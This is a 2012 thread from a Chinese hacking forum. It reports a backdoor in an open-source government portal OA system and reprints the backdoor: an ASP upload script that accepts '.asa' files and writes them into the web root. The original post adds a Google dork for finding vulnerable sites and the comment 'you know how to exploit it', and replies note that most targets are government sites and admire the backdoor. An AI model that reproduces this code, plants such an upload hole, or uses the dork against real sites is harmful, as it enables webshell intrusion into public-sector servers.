# 夏茂政府网集成OA完整开源版 内置后门

**URL:** <https://forum.90sec.com/t/topic/3584>\
**Category:** 代码审计\
**Created:** [2012 年5 月 18 日 14:12 UTC](https://forum.90sec.com/t/topic/3584 "2012-05-18T14:12:36Z")\
**Posts on this page:** 16\
**Page:** 1

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2012 年5 月 18 日 14:12 UTC](https://forum.90sec.com/t/topic/3584/1 "2012-05-18T14:12:36Z")

</div>

_本帖最后由 network 于 2012-5-18 22:27 编辑_

源码下载地址 [http://www.mycodes.net/25/2177.htm](http://www.mycodes.net/25/2177.htm)  
后门文件HXINCLUDE/Admin\_Upfile.asp  
爱心传送门 [http://www.90sec.org/thread-2349-1-1.html](http://www.90sec.org/thread-2349-1-1.html)

```vbscript

<%
  Response.Buffer = True
  Server.ScriptTimeOut=9999999
  On Error Resume Next
%>

```

```xml
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" /> 
<meta name="author" content="文件上传" />
<meta name="description" content="文件上传" /> 
<meta name="keywords" content="文件上传" />
<style type="text/css">
<!--
body,input {font-size:12px;}
-->
</style>
<title>文件上传脚本</title>
</head>
<body id="body">
<%
  ExtName = "jpg,gif,txt,asa" '允许扩展名 SavePath = "/" '保存路径
  If Right(SavePath,1)<>"/" Then SavePath=SavePath&"/" '在目录后加(/)
  CheckAndCreateFolder(SavePath)

  UpLoadAll_a = Request.TotalBytes '取得客户端全部内容
  If(UpLoadAll_a>0) Then
    Set UploadStream_c = Server.CreateObject("ADODB.Stream")
    UploadStream_c.Type = 1
    UploadStream_c.Open
    UploadStream_c.Write Request.BinaryRead(UpLoadAll_a) 
    UploadStream_c.Position = 0

    FormDataAll_d = UploadStream_c.Read
    CrLf_e = chrB(13)&chrB(10)
    FormStart_f = InStrB(FormDataAll_d,CrLf_e)
    FormEnd_g = InStrB(FormStart_f+1,FormDataAll_d,CrLf_e)

    Set FormStream_h = Server.Createobject("ADODB.Stream")
    FormStream_h.Type = 1
    FormStream_h.Open
    UploadStream_c.Position = FormStart_f + 1
    UploadStream_c.CopyTo FormStream_h,FormEnd_g-FormStart_f-3
    FormStream_h.Position = 0
    FormStream_h.Type = 2
    FormStream_h.CharSet = "GB2312"
    FormStreamText_i = FormStream_h.Readtext
    FormStream_h.Close

    FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,"\")+1,FormEnd_g)

    If(CheckFileExt(FileName_j,ExtName)) Then
      SaveFile = Server.MapPath(SavePath & FileName_j)

      If Err Then
        Response.Write "文件上传： <span style=""color:red;"">文件上传出错!</span> <a href=""" & Request.ServerVariables("URL") &""">重新上传文件</a><br />"
        Err.Clear
      Else
        SaveFile = CheckFileExists(SaveFile)

        k=Instrb(FormDataAll_d,CrLf_e&CrLf_e)+4
        l=Instrb(k+1,FormDataAll_d,leftB(FormDataAll_d,FormStart_f-1))-k-2
        FormStream_h.Type=1
        FormStream_h.Open
        UploadStream_c.Position=k-1
        UploadStream_c.CopyTo FormStream_h,l
        FormStream_h.SaveToFile SaveFile,2
        
        SaveFileName = Mid(SaveFile,InstrRev(SaveFile,"\")+1)
        Response.write "文件上传： <span style=""color:red;"">" & SaveFileName & " </span>文件上传成功! <a href=""" & Request.ServerVariables("URL") &""">继续上传文件</a><br />"
      End If
    Else
      Response.write "文件上传： <span style=""color:red;"">文件格式不正确!</span> <a href=""" & Request.ServerVariables("URL") &""">重新上传文件</a><br />"
    End If

  Else
%>
<script language="Javascript">
<!--
function ValidInput()
{
    
if(document.upform.upfile.value=="") 
  {
    alert("请选择上传文件！")
    document.upform.upfile.focus()
    return false
  }
  return true
}
// -->
</script>
<form action='<%= Request.ServerVariables("URL") %>' method='post' name="upform" onsubmit="return ValidInput()" enctype="multipart/form-data">
文件上传：
<input type='file' name='upfile' size="40"> <input type='submit' value="上传">
</form>
<%
  End if
  Set FormStream_h = Nothing
  UploadStream.Close
  Set UploadStream = Nothing
%>
</body>
</html>

```

利用方法 你们懂的  
谷歌 inurl:a125\_news.asp

---

<div class="post-metadata">

作者： ![user20](https://forum.90sec.com/user_avatar/forum.90sec.com/user20/32/11357_2.png) [@user20](https://forum.90sec.com/u/user20)\
发布日期： [2012 年5 月 18 日 14:35 UTC](https://forum.90sec.com/t/topic/3584/2 "2012-05-18T14:35:19Z")

</div>

手机上的。。支持asa？不会吧。。

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 18 日 14:48 UTC](https://forum.90sec.com/t/topic/3584/3 "2012-05-18T14:48:43Z")

</div>

这个到底是后门 还是 程序员 手抖敲错字母尼

---

<div class="post-metadata">

作者： ![0ps](https://forum.90sec.com/user_avatar/forum.90sec.com/0ps/32/11430_2.png) [@0ps](https://forum.90sec.com/u/0ps)\
发布日期： [2012 年5 月 18 日 15:15 UTC](https://forum.90sec.com/t/topic/3584/4 "2012-05-18T15:15:52Z")

</div>

我们公司用的通达，喜欢大黑阔楼主哇通达2010的！

---

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2012 年5 月 18 日 15:18 UTC](https://forum.90sec.com/t/topic/3584/5 "2012-05-18T15:18:29Z")

</div>

\*\*回复 [3#](http://www.90sec.org/redirect.php?goto=findpost&pid=26561&ptid=2350) _匿名用户_ \*\*

后门

---

<div class="post-metadata">

作者： ![sincoder](https://forum.90sec.com/user_avatar/forum.90sec.com/sincoder/32/11422_2.png) [@sincoder](https://forum.90sec.com/u/sincoder)\
发布日期： [2012 年5 月 18 日 16:11 UTC](https://forum.90sec.com/t/topic/3584/6 "2012-05-18T16:11:07Z")

</div>

都是政府站啊，，，，

---

<div class="post-metadata">

作者： ![929041889](https://forum.90sec.com/letter_avatar_proxy/v4/letter/9/b4bc9f/32.png) [@929041889](https://forum.90sec.com/u/929041889)\
发布日期： [2012 年5 月 19 日 02:05 UTC](https://forum.90sec.com/t/topic/3584/7 "2012-05-19T02:05:13Z")

</div>

我估计是某人改了源代码的！！

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2012 年5 月 19 日 02:21 UTC](https://forum.90sec.com/t/topic/3584/8 "2012-05-19T02:21:09Z")

</div>

{:4\_86:}看了一下，大多都是gov的

---

<div class="post-metadata">

作者： ![2558982655f](https://forum.90sec.com/letter_avatar_proxy/v4/letter/2/b9bd4f/32.png) [@2558982655f](https://forum.90sec.com/u/2558982655f)\
发布日期： [2012 年5 月 19 日 03:01 UTC](https://forum.90sec.com/t/topic/3584/9 "2012-05-19T03:01:56Z")

</div>

会不会是被人修改了源码 = =。

---

<div class="post-metadata">

作者： ![koohik](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/9de053/32.png) [@koohik](https://forum.90sec.com/u/koohik)\
发布日期： [2012 年5 月 19 日 03:09 UTC](https://forum.90sec.com/t/topic/3584/10 "2012-05-19T03:09:01Z")

</div>

被人改源码了？{:4\_40:}

---

<div class="post-metadata">

作者： ![q332550936](https://forum.90sec.com/letter_avatar_proxy/v4/letter/q/a587f6/32.png) [@q332550936](https://forum.90sec.com/u/q332550936)\
发布日期： [2012 年5 月 19 日 04:41 UTC](https://forum.90sec.com/t/topic/3584/11 "2012-05-19T04:41:00Z")

</div>

支持ASA啊。。好强大 - -

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 19 日 05:19 UTC](https://forum.90sec.com/t/topic/3584/12 "2012-05-19T05:19:42Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=26557&ptid=2350) _network_ \*\*

```
楼主 我最近在学asp的代码审计 略懂些asp 可否发现共享些asp的代码审计资料

```

---

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2012 年5 月 19 日 08:03 UTC](https://forum.90sec.com/t/topic/3584/13 "2012-05-19T08:03:55Z")

</div>

\*\*回复 [12#](http://www.90sec.org/redirect.php?goto=findpost&pid=26585&ptid=2350) _匿名用户_ \*\*

```
这个真没有、、、

```

---

<div class="post-metadata">

作者： ![zyq8709](https://forum.90sec.com/user_avatar/forum.90sec.com/zyq8709/32/11658_2.png) [@zyq8709](https://forum.90sec.com/u/zyq8709)\
发布日期： [2012 年5 月 19 日 12:22 UTC](https://forum.90sec.com/t/topic/3584/14 "2012-05-19T12:22:59Z")

</div>

好资料哇，学习了

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年5 月 19 日 14:04 UTC](https://forum.90sec.com/t/topic/3584/15 "2012-05-19T14:04:24Z")

</div>

哇咔咔，那个家伙好坏好坏啊，从源头来搞

---

<div class="post-metadata">

作者： ![winy](https://forum.90sec.com/user_avatar/forum.90sec.com/winy/32/11446_2.png) [@winy](https://forum.90sec.com/u/winy)\
发布日期： [2012 年5 月 20 日 03:08 UTC](https://forum.90sec.com/t/topic/3584/16 "2012-05-20T03:08:36Z")

</div>

这程序员很牛逼，眼光很长远
